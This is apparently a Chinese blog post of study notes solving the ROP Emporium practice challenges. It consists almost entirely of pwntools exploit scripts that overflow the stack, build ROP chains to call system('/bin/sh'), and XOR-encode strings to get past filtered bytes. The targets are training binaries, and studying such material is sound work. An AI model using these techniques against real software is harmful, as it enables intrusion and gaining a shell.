Rop Emporium
最近在学习ROP,发现ROP Emporium这个网站上题目挺好,就一直在做,我这里用到查gadget的工具是ROPgadget,其他工具也是可以的。因为是直接从笔记上粘贴的,所以没有排版啥的,。。
ret2win_32
简单的覆盖返回地址跳转到后门函数
#coding="utf-8"
from pwn import *
sh=process("./ret2win32")
payload="a"*0x28+"a"*4+"\x59\x86\x04\x08"
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
ret2win_64
和32位一样,覆盖返回地址跳转到后门函数
from pwn import *
sh=process("./ret2win")
payload="a"*0x20+"a"*8+p64(0x0400811)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
split_32
程序的system中不是/bin/sh,通过查找字符串发现在数据段,将参数数据段参数传递给system就ok了
from pwn import *
sh=process("./split32")
payload="a"*0x28+"a"*4+p32(0x08048657)+p32(0x0804a030)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
split_64
64位和32位有点不一样,在传参方面64位前几个参数是放在rdi,rsi,rdx,rcx,r8,r9中,所以需要将参数放到rdi中才可以调用成功
#coding="utf-8"
from pwn import *
sh=process("./split")
system_addr=0x0400810
rdi_addr=0x0400883
flag_addr=0x0601060
payload='a'*0x20+'a'*0x8+p64(rdi_addr)+p64(flag_addr)+p64(system_addr)
#当程序ret时,进入rdi_addr,然后rdi再ret到system_addr每一次esp指向都不一样
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
callme_32
程序中没有system和/bin/sh,给了一个.so文件,用IDA查看发现程序通过callme_one函数将flag文件导入,通过callme_two和callme_three函数将flag解密输出,这三个函数还需要在0x1,0x2,0x3这三个参数,由于.so文件相当于在调用动态链接库,没有办法esp自减,所以我们利用程序中的gadget来平衡一下栈
#coding="utf-8"
from pwn import *
sh=process("./callme32")
callme_one_addr=0x080485c0
callme_two_addr=0x08048620
callme_three_addr=0x080485b0
gadget_addr=0x080488a9
payload="a"*0x28+"a"*4
payload+=p32(callme_one_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
payload+=p32(callme_two_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
payload+=p32(callme_three_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
callme_64
和32基本一样,注意传参问题就好
#coding="utf-8"
from pwn import *
sh=process("./callme")
gadget_addr=0x0401ab0
callme_one_addr=0x0401850
callme_two_addr=0x0401870
callme_three_addr=0x0401810
payload="a"*0x20+"a"*0x8
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_one_addr)
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_two_addr)
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_three_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
write4_32
程序中只有system函数,没有我们需要的/bin/sh,需要我们自己构造,但是我们要向将自己构造的写入到程序,就要知道程序bss段或者data段是否可写,以及他们的空间是否足够。另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符( \x00 , \x0a 等)之类的问
题,比如这里 /bin/sh 只有七个字节,我们可以使用 /bin/sh\x00 或者/bin//sh
#coding="uft-8"
from pwn import *
sh=process("./write432")
system_addr=0x0804865a #system_plt_addr=0x08048430
pop_pop_addr=0x080486da
mov_addr=0x08048670
data_addr=0x0804a028
payload="a"*0x28+"a"*4
payload+=p32(pop_pop_addr)+p32(data_addr)+"/bin"+p32(mov_addr)
payload+=p32(pop_pop_addr)+p32(data_addr+4)+"//sh"+p32(mov_addr)
#payload+=p32(pop_pop_addr)+p32(data_addr+4)+"/sh\x00"+p32(mov_addr)
payload+=p32(system_addr)+p32(data_addr) #p32(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
write4_64
64位一次写入就好了
#coding="utf-8"
from pwn import *
sh=process("./write4")
system_plt_addr=0x04005e0
data_addr=0x0601050
mov_ret_addr=0x0400820
pop_pop_addr=0x0400890
pop_rdi_addr=0x0400893
payload="a"*0x20+"a"*0x8
payload+=p64(pop_pop_addr)+p64(data_addr)+"/bin/sh\x00"+p64(mov_ret_addr)
payload+=p64(pop_rdi_addr)+p64(data_addr)+p64(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
badchars_32
我们依然要将 /bin/sh 写入到进程内存中,但这一次程序在读取,输入时会对敏感字符进行检查。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。
#coding="utf-8"
from pwn import *
sh=process("./badchars32")
pop_ebx_ecx_addr=0x08048896
pop_esi_edi_addr=0x08048899
mov_edi_esi_addr=0x08048893
xor_addr=0x08048890
system_plt_addr=0x080484e0
bss_addr=0x0804a040
#encode
binsh=""
xor_byte=0x2
for i in "/bin/sh\x00":
c=ord(i) ^ xor_byte
binsh+=chr(c)
#write
payload="a"*44
payload+=p32(pop_esi_edi_addr)+binsh[0:4]+p32(bss_addr)+p32(mov_edi_esi_addr)
payload+=p32(pop_esi_edi_addr)+binsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi_addr)
#code
for i in range(len(binsh)):
payload+=p32(pop_ebx_ecx_addr)
payload+=p32(bss_addr+i)
payload+=p32(xor_byte)
payload+=p32(xor_addr)
payload+=p32(system_plt_addr)+"a"*0x4+p32(bss_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
badchars_64
和32位一样,就是这次可以一次传参了,需要注意的就是传参问题
#coding="utf-8"
from pwn import *
sh=process("./badchars")
elf=ELF('./badchars')
system_plt_addr=0x004006f0
bss_addr=0x0000000000601080 //本来想用data段的,但是不知道为什么data段地址就是不对,服服服。。。
mov_r13_r12_addr=0x0400b34
pop_r12_r13_addr=0x0400b3b
pop_r14_r15_addr=0x0400b40
xor_r15_r14_addr=0x0400b30
pop_rdi_addr=0x0400b39
xor_byte=0x1
badchars=[0x62,0x69,0x63,0x2f,0x20,0x66,0x6e,0x73]
while(1):
binsh=""
for i in "/bin/sh\x00":
c=ord(i) ^ xor_byte
if c in badchars:
xor_byte+=1
break
else:
binsh+=chr(c)
if len(binsh)==8:
break
payload="a"*0x20+"a"*0x8
payload+=p64(pop_r12_r13_addr)+binsh+p64(bss_addr)+p64(mov_r13_r12_addr)
for i in range(len(binsh)):
payload+=p64(pop_r14_r15_addr)
payload+=p64(xor_byte)
payload+=p64(bss_addr+i)
payload+=p64(xor_r15_r14_addr)
payload+=p64(pop_rdi_addr)+p64(bss_addr)+p64(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
fluff_32
和前面的一样但是程序这次的gadget确实有点难利用。
#coding="utf-8"
from pwn import *
sh=process("./fluff32")
system_plt_addr=0x08048430
bss_addr=0x0804a040
mov_edx_addr=0x0804868c
pop_ebx_addr=0x080483e1
xor_edx_ebx=0x0804867b
xchg_edx_ecx=0x08048689
mov_ecx_edx=0x08048693
payload="a"*44
#addr->ecx ##先将程序通过异或来放到edx中,然后在解密放到ecx中
payload+=p32(mov_edx_addr)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx #先将程序通过异或来放到edx中,然后再把edx中的解密
payload+=p32(pop_ebx_addr)
payload+="/bin"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
#addr->ecx #和上面一样,32位需要俩次才能把参数传完
payload+=p32(mov_edx_addr)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr+4)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx
payload+=p32(pop_ebx_addr)
payload+="/sh\x00"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(0xdefaced0)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
payload+=p32(system_plt_addr)+p32(0)+p32(bss_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
感觉自己写的好麻烦,还需要异或俩次才可以,后来看了别人的wp发现,直接xor edx,edx 就不用第二次异或了
#coding="utf-8"
from pwn import *
sh=process("./fluff32")
#elf=ELF("./fluff32") #换成这样也可以
system_plt_addr=0x08048430 # system_plt_addr=elf.plt['system']
bss_addr=0x0804a040 # bss_addr=elf.bss()
pop_ebx_addr=0x080483e1
xor_edx_ebx=0x0804867b
xchg_edx_ecx=0x08048689
mov_ecx_edx=0x08048693
xor_edx_edx=0x08048671
payload="a"*44
#addr->ecx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+="/bin"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
#addr->ecx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+=p32(bss_addr+4)
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(xchg_edx_ecx)
payload+=p32(0)
#data->edx
payload+=p32(xor_edx_edx)
payload+=p32(0)
payload+=p32(pop_ebx_addr)
payload+="/sh\x00"
payload+=p32(xor_edx_ebx)
payload+=p32(0)
payload+=p32(mov_ecx_edx)
payload+=p32(0)
payload+=p32(0)
payload+=p32(system_plt_addr)+p32(0)+p32(bss_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
fluff_64
用老方法查看gadget没找到合适的。。。 然后wp上说要加上 --depth ,加上以后就找到了 _
#coding="uft-8"
from pwn import *
sh=process("./fluff")
elf=ELF("./fluff")
system_plt_addr=elf.plt['system']
bss_addr=elf.bss()
xor_r11_r11_addr=0x0000000000400822
pop_r12_addr=0x0000000000400832
xor_r11_r12_addr=0x000000000040082f
xchg_r11_r10_addr=0x0000000000400840
mov_r10_r11_addr=0x000000000040084e
pop_rdi_addr=0x00000000004008c3
#addr->r10
payload="a"*0x20+"a"*0x8
payload+=p64(xor_r11_r11_addr)
payload+=p64(0)
payload+=p64(pop_r12_addr)
payload+=p64(bss_addr)
payload+=p64(xor_r11_r12_addr)
payload+=p64(0)
payload+=p64(xchg_r11_r10_addr)
payload+=p64(0)
#data->r11
payload+=p64(xor_r11_r11_addr)
payload+=p64(0)
payload+=p64(pop_r12_addr)
payload+="/bin/sh\x00"
payload+=p64(xor_r11_r12_addr)
payload+=p64(0)
payload+=p64(mov_r10_r11_addr)
payload+=p64(0)
payload+=p64(0)
payload+=p64(pop_rdi_addr)+p64(bss_addr)+p64(system_plt_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()
判断异或数是多少可以绕过。
binsh = '/bin/sh\x00'
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
for x in binsh:
tmp = ord(x) ^ xornum
if tmp in badchar:
xornum += 1
break
if x == "\x00":
print (xornum)
xornum +=1
if xornum == 10:
break
来源:CSDN
作者:孤记め
链接:https://blog.csdn.net/weixin_44296844/article/details/103648025